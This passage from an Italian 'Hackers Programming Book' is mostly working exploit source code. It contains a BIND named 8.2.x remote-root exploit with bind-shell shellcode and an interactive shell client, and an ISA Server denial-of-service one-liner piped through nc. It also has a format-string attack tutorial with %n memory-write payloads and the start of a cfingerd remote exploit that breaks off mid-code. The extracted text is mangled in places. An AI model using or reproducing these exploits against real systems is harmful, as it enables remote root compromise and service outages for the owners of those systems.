    char shellcode[] =/* main: */"\xeb\x7b" /* jmp callz */ // 2 - 2/* start: */"\x5e" /* popl %esi */ // 1 - 3

    /* socket() */"\x29\xc0" /* subl %eax, %eax */ // 2 - 5

    "\x89\x46\x10" /* movl %eax, 0x10(%esi) */ // 3 - 8"\x40" /* incl %eax */ // 1 - 9"\x89\xc3" /* movl %eax, %ebx */ // 2 - 11"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */ // 3 - 14"\x40" /* incl %eax */ // 1 - 15"\x89\x46\x08" /* movl %eax, 0x08(%esi) */ // 3 - 18"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ // 3 - 21"\xb0\x66" /* movb $0x66, %al */ // 2 - 23"\xcd\x80" /* int $0x80 */ // 2 - 25

    /* bind() */"\x43" /* incl %ebx */ // 1 - 26"\xc6\x46\x10\x10" /* movb $0x10, 0x10(%esi) */ // 4 - 30"\x66\x89\x5e\x14" /* movw %bx, 0x14(%esi) */ // 4 - 34"\x88\x46\x08" /* movb %al, 0x08(%esi) */ // 3 - 37"\x29\xc0" /* subl %eax, %eax */ // 2 - 39"\x89\xc2" /* movl %eax, %edx */ // 2 - 41

    "\x89\x46\x18" /* movl %eax, 0x18(%esi) */ // 3 - 44"\xb0\x90" /* movb $0x90, %al */ // 2 - 46"\x66\x89\x46\x16" /* movw %ax, 0x16(%esi) */ // 4 - 50"\x8d\x4e\x14" /* leal 0x14(%esi), %ecx */ // 3 - 53"\x89\x4e\x0c" /* movl %ecx, 0x0c(%esi) */ // 3 - 56"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ // 3 - 59

    // 2 jump + 1 + 5 free + 1

    "\xb0\x66" /* movb $0x66, %al */ // 2 - 61"\xcd\x80" /* int $0x80 */ // 2 - 2

    /* listen() */"\x89\x5e\x0c" /* movl %ebx, 0x0c(%esi) */"\x43" /* incl %ebx */"\x43" /* incl %ebx */"\xb0\x66" /* movb $0x66, %al */

    "\xcd\x80" /* int $0x80 */

    /* accept() */"\x89\x56\x0c" /* movl %edx, 0x0c(%esi) */ // 3 - 5"\x89\x56\x10" /* movl %edx, 0x10(%esi) */ // 3 - 8"\xb0\x66" /* movb $0x66, %al */ // 2 - 10"\x43" /* incl %ebx */ // 1 - 11"\xcd\x80" /* int $0x80 */ // 1 - 12

    /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */"\x86\xc3" /* xchgb %al, %bl */ // 2 - 14"\xb0\x3f" /* movb $0x3f, %al */ // 2 - 16"\x29\xc9" /* subl %ecx, %ecx */ // 2 - 18"\xcd\x80" /* int $0x80 */ // 2 - 20"\xb0\x3f" /* movb $0x3f, %al */ // 2 - 22"\x41" /* incl %ecx */ // 1 - 23"\xcd\x80" /* int $0x80 */ // 2 - 25

    "\xb0\x3f" /* movb $0x3f, %al */ // 2 - 27"\x41" /* incl %ecx */ // 1 - 28"\xcd\x80" /* int $0x80 */ // 2 - 30

    /* execve() */"\x88\x56\x07" /* movb %dl, 0x07(%esi) */ // 3 - 33"\x89\x76\x0c" /* movl %esi, 0x0c(%esi) */ // 3 - 36"\x87\xf3" /* xchgl %esi, %ebx */ // 2 - 38"\x8d\x4b\x0c" /* leal 0x0c(%ebx), %ecx */ // 3 - 41"\xb0\x0b" /* movb $0x0b, %al */ // 2 - 44"\xcd\x80" /* int $0x80 */ // 2 = 46

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    20/39

    Hackers Programming Book

    "\x90\x90\x90\x90\x90\x90\x90"

    // 2 jump + 1 + 5 free + 1

    /* callz: */"\xe8\x70\xff\xff\xff" /* call start */ // 5 - 51"/bin/sh\0"; // 8 - 59

    // {0, "8.2.2-P5 - Redhat 6.2 (Zoot) boot", 0xbffffa88, 28, 0x080d7cd0,0x40111704, 0x330, 6},

    unsigned long resolve_host(char* host){

    long res;struct hostent* he;

    if (0 > (res = inet_addr(host))){

    if (!(he = gethostbyname(host)))return(0);

    res = *(unsigned long*)he->h_addr;}return(res);

    }

    voidrunshell(int sockd){

    char buff[1024];int fmax, ret;fd_set fds;

    fmax = max(fileno(stdin), sockd) + 1;send(sockd, "uname -a; id;\n", 15, 0);

    for(;;){

    FD_ZERO(&fds);FD_SET(fileno(stdin), &fds);FD_SET(sockd, &fds);

    if(select(fmax, &fds, NULL, NULL, NULL) < 0){

    exit(EXIT_FAILURE);}

    if(FD_ISSET(sockd, &fds)){

    bzero(buff, sizeof buff);if((ret = recv(sockd, buff, sizeof buff, 0)) < 0){

    exit(EXIT_FAILURE);}if(!ret){

    fprintf(stderr, "Connection closed\n");exit(EXIT_FAILURE);

    }write(fileno(stdout), buff, ret);

    }

    if(FD_ISSET(fileno(stdin), &fds)){

    bzero(buff, sizeof buff);ret = read(fileno(stdin), buff, sizeof buff);if(send(sockd, buff, ret, 0) != ret){

    fprintf(stderr, "Transmission loss\n");exit(EXIT_FAILURE);

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    21/39

    Hackers Programming Book

    }}

    }}

    connection(struct sockaddr_in host){

    int sockd;

    host.sin_port = htons(36864);

    printf("connecting..\n");usleep(2000);

    if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){

    exit(EXIT_FAILURE);}

    if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1){

    printf("wait for your shell..\n");usleep(500);runshell(sockd);

    }else{

    printf("error: named not vulnerable or wrong offsets used\n");}

    close(sockd);}

    int infoleak_qry(char* buff){

    HEADER* hdr;int n, k;char* ptr;

    int qry_space = 12;int dummy_names = 7;int evil_size = htons(0xff);

    memset(buff, 0, BUFFSIZE);hdr = (HEADER*)buff;

    hdr->id = htons(0xbeef);hdr->opcode = IQUERY;hdr->rd = 1;hdr->ra = 1;hdr->qdcount = htons(0);hdr->nscount = htons(0);hdr->ancount = htons(1);hdr->arcount = htons(0);

    ptr = buff + sizeof(HEADER);

    n = 62;

    for (k = 0; k < dummy_names; k++){

    *ptr++ = n;ptr += n;

    }

    ptr += INT16SZ;

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    22/39

    Hackers Programming Book

    PUTSHORT(htons(1/*ns_t_a*/), ptr); /* type */PUTSHORT(htons(T_A), ptr); /* class */PUTLONG(htons(1), ptr); /* ttl */

    PUTSHORT(evil_size, ptr); /* our *evil* size */

    return(ptr - buff + qry_space);

    }

    int evil_query(char* buff, int offset){

    int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0;HEADER* hdr;char *ptr;int k, bufflen;u_int n, m;u_short s;int i;int shelloff, shellstarted;int towrite, ourpack;int n_dummy_rrs = 7;

    shelladdr = offset - 0x200;

    lameaddr = shelladdr + 0x330;

    ourpack = offset - 0x250 + 2;towrite = (offset & ~0xff) - ourpack - 6;

    printf("# %x newebp\n", offset & ~0xff);printf("# %x towrite\n", towrite);

    rroffsetidx = towrite / 70;offset0 = towrite - rroffsetidx * 70;

    printf("+ %x rr recidx\n", rroffsetidx);printf("+ %x offset\n", offset0);

    if ((offset0 > 53) || (rroffsetidx > 6)){

    printf("could not write our data in buffer\n");return(-1);

    }

    rrshellidx = 1;deplshellcode = 2;

    hdr = (HEADER*)buff;

    memset(buff, 0, BUFFSIZE);

    /* complete the header */

    hdr->id = htons(0xdead);

    hdr->opcode = QUERY;hdr->rd = 1;hdr->ra = 1;hdr->qdcount = htons(n_dummy_rrs);hdr->ancount = htons(0);hdr->arcount = htons(1);

    ptr = buff + sizeof(HEADER);

    shellstarted = 0;shelloff = 0;

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    23/39

    Hackers Programming Book

    n = 63;for (k = 0; k < n_dummy_rrs; k++){

    // printf("* rr: %d\n", k);*ptr++ = (char)n;

    for(i = 0; i < n-2; i++){

    if((k == rrshellidx) && (i == deplshellcode) && !shellstarted){printf("* injecting shellcode\n", k);shellstarted = 1;

    }

    if ((k == rroffsetidx) && (i == offset0 + 0)){

    printf("# %x stackfrm\n", lameaddr);//caller's frame*ptr++ = lameaddr & 0x000000ff;i++;*ptr++ = (lameaddr & 0x0000ff00) >> 8;i++;*ptr++ = (lameaddr & 0x00ff0000) >> 16;i++;*ptr++ = (lameaddr & 0xff000000) >> 24;

    }else if ((k == rroffsetidx) && (i == offset0 + 8)){

    printf("# args %x, %x\n", argevdisp1, argevdisp2);//evDispatch args*ptr++ = argevdisp1 & 0x000000ff;i++;*ptr++ = (argevdisp1 & 0x0000ff00) >> 8;i++;*ptr++ = (argevdisp1 & 0x00ff0000) >> 16;i++;*ptr++ = (argevdisp1 & 0xff000000) >> 24;i++;*ptr++ = argevdisp2 & 0x000000ff;i++;*ptr++ = (argevdisp2 & 0x0000ff00) >> 8;i++;

    *ptr++ = (argevdisp2 & 0x00ff0000) >> 16;i++;*ptr++ = (argevdisp2 & 0xff000000) >> 24;

    } elseif ((k == rroffsetidx) && (i == offset0 + 4)){

    printf("# %x shellcode\n", shelladdr);//shellcode*ptr++ = shelladdr & 0x000000ff;i++;*ptr++ = (shelladdr & 0x0000ff00) >> 8;i++;*ptr++ = (shelladdr & 0x00ff0000) >> 16;i++;*ptr++ = (shelladdr & 0xff000000) >> 24;

    }else

    {if (shellstarted){

    *ptr++ = shellcode[shelloff++];}else{

    *ptr++ = i;}

    }}

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    24/39

    Hackers Programming Book

    *ptr++ = 0xeb;

    if (k == 0){

    *ptr++ = 0x09; //jmp 3

    m = 2;

    *ptr++ = (char)m;for(i = 0; i < m; i++){

    *ptr++ = i;}

    }else{

    *ptr++ = 0x07; //jmp 1}

    *ptr++ = 0xc0; /*NS_CMPRSFLGS*/

    ptr += 5;}

    s = htons(0xfa) /* ns_t_tsig */;

    PUTLONG(s, ptr);

    for (k = 0; k < 1; k++){

    *ptr++ = 0x90;}

    bufflen = ptr - buff;return(bufflen);

    }

    long xtract_offset(char* buff){

    long ret, idx, now;

    idx = 0x214;

    now = 0;

    ret = *((long*)&buff[idx]);if ((ret > 0xbfff0000) && (ret < 0xc0000000)){

    now = 1;}

    while ((idx < 0x400) && (!now || !((ret > 0xbfff0000) && (ret < 0xc0000000)))){

    idx += 4;ret = *((long*)&buff[idx]);if (ret == 1){

    now = 1;}

    }

    argevdisp1 = 0x080d7cd0;argevdisp2 = *((long*)&buff[0x264]);

    return(ret);}

    int main(int argc, char* argv[]){

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    25/39

    Hackers Programming Book

    struct sockaddr_in sa;int sock;long address;char buff[BUFFSIZE];int len, i;long offset;socklen_t reclen;

    printf("named 8.2.x (< 8.2.3-REL) remote root exploit by LucySoft, Ix\n\n");

    address = 0;if (argc < 2){

    printf("usage : %s host\n", argv[0]);

    return(-1);}

    if (!(address = resolve_host(argv[1]))){

    printf("unable to resolve %s, try using an IP address\n", argv[1]);return(-1);

    }

    sa.sin_family = AF_INET;

    if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0))){

    return(-1);}

    sa.sin_family = AF_INET;sa.sin_port = htons(53);sa.sin_addr.s_addr= address;

    len = infoleak_qry(buff);len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));if (len < 0){

    printf("unable to send iquery\n");return(-1);

    }

    reclen = sizeof(sa);len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen);if (len < 0){

    printf("unable to receive iquery answer\n");return(-1);

    }printf("iquery resp len = %d\n", len);

    offset = xtract_offset(buff);printf("retrieved stack offset = %x\n", offset);

    len = evil_query(buff, offset);

    sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));

    if (0 > close(sock)){

    return(-1);}

    connection(sa);

    return(0);}

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    26/39

    Hackers Programming Book

    Come bloccare ISA ServerCome tutti sanno ISA server lultimo prodotto derivato da Microsoft Proxy Server indirizzato agestire la security in ambiente Microsoft.In altre parole il software svolge funzioni di proxy e di firewall.

    Ad ogni modo come tanti prodotti software anche questo passibile di attacchi Dos.

    Per poterlo explottare necessario che questo sia configurato per usare la funzionalit da "WebPublishing" (inbound HTTP proxy to a web server).Lattacco pu essere eseguito da postazione remota.Per perpetuare lattacco necessario inviare un path lungo al proxy.

    GET http://hostname/aaa[3000 o pi caratteri 'a'] HTTP/1.0\n\n

    Inviando questa stringa sulla porta 80 di ISA Server si fa si che il componente W3PROXY.EXEtermini con un access violation.

    Potete usare queasto comando :

    printf 'GET http://${HOST}/%s HTTP/1.0\n\n' ./repeat ${x} ${y}` | \

    nc ${HOST} 80

    dove:

    - printf lutility di shell- ${HOST} una variabile dambiente settata con lhost che possiede ISA Server- ./repeat un asemplice programma in C il cui listato quello che segue- ${x} un valore ASCII- ${y} il numero delle ripetizionidi ${x}

    /** repeat.c -- quick-n-dirty hack to output argv[2] instances of the* character whose ASCII value is given as argv[1]*

    * WARNING - this has absolutely no error checking!*/

    #include

    main (int argc, char **argv) {int character;long repetitions, i;

    if ( argc != 3 ) {printf("usage: repeat char reps\n");exit(1);

    }character = atoi(argv[1]);

    repetitions = atol(argv[2]);

    for (i = 0L; i < repetitions; i++) {printf ("%c", character);

    }}

    Il comportamento di W3PROXY.EXE dipende dal valore di ${x} e dal valoredi ${y}.Con ${x} a 55, il seguente comportamento osservato basandosi sul valore di ${y}:

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    27/39

    Hackers Programming Book

    100: processes correctly, returns "404 Object Not Found" from target webserver.200: returns 404250: returns 404254: returns 404255: returns "414 URL Too Long"

    260: returns 414300: returns 4142000: returns 4142100: returns 4142200: returns 4142300: returns 4142300, repeated several times: W3PROXY.EXE grows to 128MB of process size and

    is then terminated with an access violation.2350: W3PROXY.EXE is terminated on the first attempt.

    Format string attackUn altro tipo di attacco che sembra molto a quello dei buffers overflow quello definito con il

    termine di format string attack.Il tutto si basa sulla metodologia che alcune funzioni del linguaggio C usano per formattare gliargomenti durante una stampa di questi.Genericamente una funzione come la printf() usa i seguenti argomenti :

    printf(stringa_di _formattazione, argomento1, ., argomenton);

    La prima parte, quella definita con il termine di stringa_di_formattazione, una sequenza dicaratteri alcuni dei quali vengono stampati staticamente mentre altri prendono gli argomentispecificati successivamente e li inseriscono applicandogli un cero formato nella posizione dovequesti si trovano.

    Ad esempio i caratteri :

    %s

    indicherebbero che largomento dovrebbe essere stampato come stringa.Lesempio :

    char s[] = Ciao;printf(%s, s);

    Alcune volte I programmatori quando si trovano davanti al fatto di dover stampare un soloargomento costituito da un buffer di caratteri, invece di specificare la stringa di formattazione,come nellesempio di prima, inseriscono solo lil buffer.

    printf(s);

    Ma prima di vedere i problemi che possono nascere dalluso di printf dobbiamo rinfrescarci leidee sulluso di questa.Con questa possibile avere il numero di caratteri stampati a qualsiasi punto della sringa diformattazione.Quando il fomattatore %n incontrato allinterno della stringa di formattazione il numero dicaratteri presenti prima di questo viene inserito allindirizzo passato come prossimo argomento.

    Ad esempio per ricavare loffset dello spazio tra due numeri formattati :

    #include

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    28/39

    Hackers Programming Book

    void main(vid){

    int pos, x=12, y=34;printf("%d %n%d\n", x, &pos, y);printf("L'offset a : %d", pos);

    }

    F:\TempWork>cl test.cMicrosoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for80x86Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

    test.cMicrosoft (R) Incremental Linker Version 6.00.8447Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

    /out:test.exetest.obj

    F:\TempWork>test12 34L'offset a : 3F:\TempWork>

    Il calcolo avvien su quello che dovrebbe essere anche se per altri motivi avrebbe dovutto esseredifferente.Considerate il buffer di 20 caratteri e la richiesta di stampare il numero come un numero di 100cifre.Il valore restituito dalla funzione 100 e non 20.

    #include

    char buff[20];

    void main(vid){

    int pos, x=12, y=34;sprintf(buff, "%.100d%n", x, &pos);printf("L'offset e' a : %d", pos);

    }

    F:\TempWork>cl test.cMicrosoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for80x86Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

    test.cMicrosoft (R) Incremental Linker Version 6.00.8447Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

    /out:test.exetest.obj

    F:\TempWork>testL'offset e' a : 100F:\TempWork>

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    29/39

    Hackers Programming Book

    Ora per spiegare il principio diamo un occhiata al programma che segue.

    /** fmtme.c* Format a value into a fixed-size buffer*/

    #include intmain(int argc, char **argv){

    char buf[100];int x;if(argc != 2)exit(1);x = 1;sprintf(buf, argv[1]);buf[sizeof buf - 1] = 0;printf("buffer (%d): %s\n", strlen(buf), buf);printf("x is %d/%#x (@ %p)\n", x, x, &x);

    return 0;}

    Spieghiamo solo I passi fondamentali del programma.Un valore passato sulla linea di comando da prompt viene formattato in un buffer alunghezza fissa.Successivamente il buffer formattato e viene messo in output.In aggiunta per formattare largomento un secondo intero settato e successivamentefatto uscire.Questa variabile viene usata come the target del successivo attacco.Per ora dobbiamo solo vedere che questo deve essere sempre 1.A questo punto iniziamo a ragionare come attaccante.Abbiamo nelle mani un programma di test e sappiamo che questo possiede unavulnerabilit sapendo inoltre dove il programmatore ha commesso lerrore.

    A questo punto inizxamo a fare delle prova.Partiamo invocando il programma xcon argomenti normali.

    % ./fmtme "hello world"buffer (11): hello worldx is 1/0x1 (@ 0x804745c)

    Non c nulla di speciale fino a questo punto.Il programma formatta la nostra stringa allinterno del buffer e quindi stampa la sualunghezza.Questo ci dice anche che la variabile x ha coma valore uno e che questo viene salvato allindirizzo0x804745c.Ora proviamo a richiamare il programma con delle direttive di formattazione.In altre parole invece di passargli la stringa del tipo Hello World la stringa che gli passiamo

    esattamente come una di quelle che dovrebbe essere presente come stringa diformattazione.

    % ./fmtme "%x %x %x %x"buffer (15): 1 f31 1031 3133x is 1/0x1 (@ 0x804745c)

    Una rapida analisi del programma ci rivela che il layout dello stack quando la funzionesnprintf chiamata fha la seguente forma :

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    30/39

    Hackers Programming Book

    Address Contents Description

    fp+8 Buffer pointer 4-byte addressfp+12 Buffer length 4-byte integerfp+16 Format string 4-byte addressfp+20 Variable x 4-byte integerfp+24 Variablebuf 100 characters

    Ora proviamo a a controllare I valori salvati dentro al buffer.Questi valori sono anche usati come argomenti per la snprintf.

    % ./fmtme "aaaa %x %x"

    buffer (15): aaaa 1 61616161

    x is 1/0x1 (@ 0x804745c)

    I 4 caratteri 'a' che forniamo in input sono copiati allinizio del buffer e quindiinterpretate dentro alla snprintf cme un valore intero con valore 0x61616161 ('a' 0x61 in ASCII).Ora che tutti gli esempi sono stati fatti possiamo iniziare a vedere lattaccotrasformandolo in un sistema attivo in grado di alterare lo stato del programma.Vi ricordate dela variabile "x"?Proviamo a cambiare il suo valore.Per fare questo abbiamo inserito il suo indirizzo dentro ad uno degli argomenti snprintf.Dobbiamo quindi saltare oltre il primo argomento di snprintf, il quale la variabile x, e

    quindi infine usiamo un formattatore "%n"per scriverenellindirizzo specificato.Questo potrebbe sembrare pi complicato di quanto in effetti lo sia.Come esempio. usiamo un piccolo programmino in PERL che ci permette di specificare deicaratteri arbitrariamente sulla linea di comando.

    % perl -e system "./fmtme", "\x58\x74\x04\x08%d%n"

    buffer (5): X1

    x is 5/x05 (@ 0x8047458)

    Il valore di x cambiato.

    Largomento di snprintf potrebbe sembrare a qualche cosa di simile a :ook

    snprintf(buf, sizeof buf, "\x58\x74\x04\x08%d%n", x, 4 bytes from buf)

    Allinizio snprintf copia I primi 4 bytes dentro abuf.Successivamente esso esegue lo scan del formattatore "%d" e stampa il valore di x.Finalmente raggiunge la direttiva "%n".Questa inserisce il successivo valore dentro allo stack, il quale deriva dai primi 4 bytes dibuf.Questi 4 bytes sono appena stati riempiti con "\x58\x74\x04\x08", o, interpretati comeun intero, 0x08047458.Snprintf quindi scrive il totale dei bytes di output, cinque, dentro a questo indirizzo.Questo di fatto lindirizzo della variabile x.Questa non una coincidenza.

    Abbiamo scelto il valore 0x08047458 dalla precedente analisi del programma.In questo caso il programma ci ha aiuttato nello stampare lindirizzo a cui noi siamointeressati.Tipicamente questo valore dovrebbe essere trovato con laiuto di un debugger.Possiamo inserire un indirizzo arbitrario e scriverci dentro.Ma di fatto possiamo scriverci un valore ?nprintf ci scrive solo il numero dei caratteri di output.

    % perl -e 'system "./fmtme", "\x54\x74\x04\x08%.500d%n"

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    31/39

    Hackers Programming Book

    buffer (99): %0000000 ... 0000

    x is 504/x1f8 (@ 0x8047454)

    Il valore che "%n" scrive in x 504, pi grande dei 99 caratteri attualmente emessi inbuf.Possiamo anche fornire un valore arbitrario maggiore semplicemente specificando unadimansione di campo grande.Se scrivessimo quattro numeri ad un offset di un byte, potremmo costruire una interofuori dai quattro bytes significativi.Per illustrare questo concetto :

    Address A A+1 A+2 A+3 A+4 A+5 A+6

    Write to A: 0x11 0x11 0x11 0x11Write to A+1: 0x22 0x22 0x22 0x22Write to A+2: 0x33 0x33 0x33 0x33Write to A+3: 0x44 0x44 0x44 0x44Memory: 0x11 0x22 0x33 0x44 0x44 0x44 0x44

    Dopo le quattro scritture sono state completate , il valore intero 0x44332211 in memoriaallindirizzo A, composto da un byte meno significativo di quattro scritture.

    Questa tecnica ci offre la flessibilit di scegliere il valore da scrivereQuesto pretende quattro quattro tempi per settare il valore.In pratica esegue loverwrite di tre bytes confinanti con lindirizzo targetEsso esegue anche tre scritture non allineate.Dato che le scritture non allineate non sono supportate da tutte le architetture il metododi fatto non portatile.Insomma tutto questo per dire che possibile scrivere valori arbitrari in memoria e quindidi conseguenza mediante questa metodologia possibile eseguire : Soprascritture dell UID di un programma al fine di elevare I privilegi. Soprascrivere un comando in esecuzione Soprascrivere un indirizzo di ritorno per puntare a qualche punto di memoria dove ci siaun codice da eseguire..Successivamente vedremo alcune tecniche specifiche legate a questo tipo di attacco.Ora vediamo il codice usato in ambiente Linux utilizzante questa tecnica.

    /* remote exploit for linux/x86 - cfingerd

  • 7/31/2019 HackerProgrammingBook Part 17

    32/39

    Hackers Programming Book

    * Credits: To Lez, who found this bug.** http://www.rdcrew.com.ar - Argentinian Security Group.* [email protected]*/

    #include #include #include #include #include #include #include #include #include

    #define ROOTSHELLPORT 36864

    void chld_timeo();void chld_timeoo();

    int sserver;int cserver;int phase=0;int mmm=0;

    unsigned long glob;//unsigned long startaddr = 0xbffffdfc;unsigned long startaddr = 0xbffffb34;unsigned long stopaddr = 0xbffff000;

    char pbuf[1024];

    char testcode[]="\xeb\x0b\x2e\x72\x64\x43\x2e\x72\x6f\x63\x6b\x73\x2e\xeb\xfe";

    char linuxcode[]=/* Lamagra bind shellcode modified by me, making it smaller =) - 124b */"\xeb\x6e\x5e\x29\xc0\x89\x46\x10""\x40\x89\xc3\x89\x46\x0c\x40\x89""\x46\x08\x8d\x4e\x08\xb0\x66\xcd""\x80\x43\xc6\x46\x10\x10\x88\x46""\x08\x31\xc0\x31\xd2\x89\x46\x18""\xb0\x90\x66\x89\x46\x16\x8d\x4e""\x14\x89\x4e\x0c\x8d\x4e\x08\xb0""\x66\xcd\x80\x89\x5e\x0c\x43\x43""\xb0\x66\xcd\x80\x89\x56\x0c\x89""\x56\x10\xb0\x66\x43\xcd\x80\x86""\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0""\x3f\x41\xcd\x80\xb0\x3f\x41\xcd""\x80\x88\x56\x07\x89\x76\x0c\x87"

    "\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80""\xe8\x8d\xff\xff\xff\x2f\x62\x69""\x6e\x2f\x73\x68";

    struct os{

    int id;char *os;char *shellcode;int fsc;unsigned long shaddr;

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    33/39

    Hackers Programming Book

    int offset;};

    struct os types[]={

    {0, "slackware 7.0 - compiled cfingerd 1.4.2/1.4.3 running from inetd asroot", linuxcode, 22, 0xbffffbc4, 30},

    {1, "slackware 7.0 - compiled cfingerd 1.4.2/1.4.3 running from inetd asnobody", linuxcode, 22, 0xbffffbc4, 30},{2, "debian 2.2 - default cfingerd 1.4.1 running from inetd as root",

    linuxcode, 33, 0xbffffb48, 0},{3, "debian 2.2 - default cfingerd 1.4.1 running from inetd as nobody",

    linuxcode, 33, 0xbffffb48, 0},{4, NULL, 0, 0xdeadbeef, 0}

    };

    main(int argc, char *argv[]){

    struct sockaddr_in sin;struct sockaddr_in ssin;int fd;int x;

    int xx=0;int sts=0;int pete;int a,b,c=22,d=0; /* c is used in case you want to seek the fsc on */int guide=1; /* your system, starting from 22, change it if you */int sel=0; /* want. */int bleh=0; /* */int off=0;int arx=0;int niu=0;int ye=0;char buf[1024];char tex[512];

    if (argc < 4)

    { printf("cfingerd

  • 7/31/2019 HackerProgrammingBook Part 17

    34/39

    Hackers Programming Book

    bzero(&sin,sizeof(sin));

    // fake identdsin.sin_family = AF_INET;sin.sin_port = htons(113);sin.sin_addr.s_addr = htonl(INADDR_ANY);

    if ( (fd = socket(AF_INET, SOCK_STREAM, 0)) < 0){perror("socket");exit(1);

    }if ( (x = bind(fd,(struct sockaddr *)&sin, sizeof(sin)) < 0)){

    perror("bind");exit(1);

    }

    if ( (xx = listen(fd, 5)) < 0){

    perror("listen");exit(1);

    }

    printf("fake identd bound successfuly\n\n");printf("pre-phase info: If you need to use the offset you can use safely

    steps of 120\n\n");printf("phase 0: finding eip... \n");while (guide){

    //maybe you need it..// if (!d)// {preparebuf(sel, off, ye);fconnect(argv[2], ye, 79);// }

    pete = sizeof(ssin);if ( (sserver = accept(fd, (struct sockaddr *)&ssin, &pete)) < 0){

    perror("accept");exit(1);

    }bzero(buf,sizeof(buf));read(sserver,buf,sizeof(buf));

    //horrendus debug! :)#ifdef DEBUG

    printf("\nread(): %s\n",buf);#endif

    sscanf(buf,"%d,%d",&a,&b);bzero(buf,sizeof(buf));

    bzero(tex,sizeof(tex));memset(tex,'\x90',119);

    bleh=strlen(pbuf);niu = 0;

    while (1){

    if(strlen(pbuf) < 65){

    if (phase==0)

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    35/39

    Hackers Programming Book

    pbuf[bleh] = '\x90';else

    pbuf[bleh] = types[sel].shellcode[niu];bleh++;if (phase==1)

    niu++;}

    elsebreak;}arx = niu;

    if(!phase)for(bleh=0 ; bleh < strlen(testcode) ; bleh++)

    tex[119 - strlen(testcode) + bleh] = testcode[bleh];

    else{

    if ((119 - (strlen(types[sel].shellcode) - arx)) < 0){

    printf("shellcode too long, exiting\n");exit(0);

    }

    for ( bleh=0 ; bleh < ( (strlen(types[sel].shellcode)) - arx) ;bleh++)

    tex[119 - (strlen(types[sel].shellcode)) - arx + bleh] =types[sel].shellcode[bleh+arx];

    }

    snprintf(buf,sizeof(buf),"%s : : : %s", tex, pbuf);/* usefull for find the fsc on your system.//snprintf(buf,sizeof(buf),"%d , %d : UNIX : 1 : AAAA%%%d$p:fsc:

    %d\n",a,b,c,c);// read about 'd' belowif (d==2) { c++; d=0; }*/

    write(sserver,buf,sizeof(buf));

    //the same..#ifdef DEBUG

    printf("sent: %s\n--------------------\n",buf);#endif

    close(sserver);sleep(2);

    //same..// if(d)wait(&sts);// d++;

    /* if something like tcplogd is running there will be 3 connections

    * to identd, so in that case, d==3*///if(d==2)// d=0;

    if ((WEXITSTATUS(sts)) == 1) // eip/shellcode address ok (at phase 0){

    phase=1; ye=1; sts=0;printf("\nphase 1: calculating address of the first chacarcter in

    our buffer... wait\n");}

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    36/39

    Hackers Programming Book

    if ((WEXITSTATUS(sts)) == 2) // shellcode executed (at phase 1){

    printf("\nphase 2 connecting to rootshell... ");fflush(stdout);close(fd); //identd fake serverfconnect(argv[2], 2, ROOTSHELLPORT);

    printf("\n\nThanks for using rdC products!\n\n");exit(0);}

    }}

    int fconnect(char *hname, int what, int port){

    struct hostent *host;struct sockaddr_in d;int r;char hname2[128];char response[1024];d.sin_family = AF_INET;d.sin_port = htons(port);

    bzero(hname2,sizeof(hname2));strncpy(hname2,hname,sizeof(hname2));host = gethostbyname(hname2);if (!host){

    printf("cannot resolve\n");exit(0);

    }

    bcopy(host->h_addr, (struct in_addr *)&d.sin_addr, host->h_length);

    cserver = socket(AF_INET, SOCK_STREAM, 0);

    // you can add a timeout here, but supossly you know if the server

    // is up/not firewalled, because you are using it against an authorized// machine and not in a script/not authorized machine, right?

    if (connect(cserver, (struct sockaddr *)&d, sizeof(struct sockaddr)) < 0){

    perror("connect");exit(1);

    }

    if (what==2){

    printf("connected!\n");fflush(stdout);rootsox(cserver);close(cserver);

    return;}

    write(cserver,"a\n",strlen("a\n"));

    if ((fork()) == 0){

    printf("Waiting response...");for(r=0 ; r < 19 ; r++)

    printf("\b");fflush(stdout);

    Copyright 2002 Flavio Bernardotti [email protected]

  • 7/31/2019 HackerProgrammingBook Part 17

    37/39

    Hackers Programming Book

    bzero(response,sizeof(response));if (what==0)

    signal(SIGALRM, chld_timeo);else

    signal(SIGALRM, chld_timeoo);

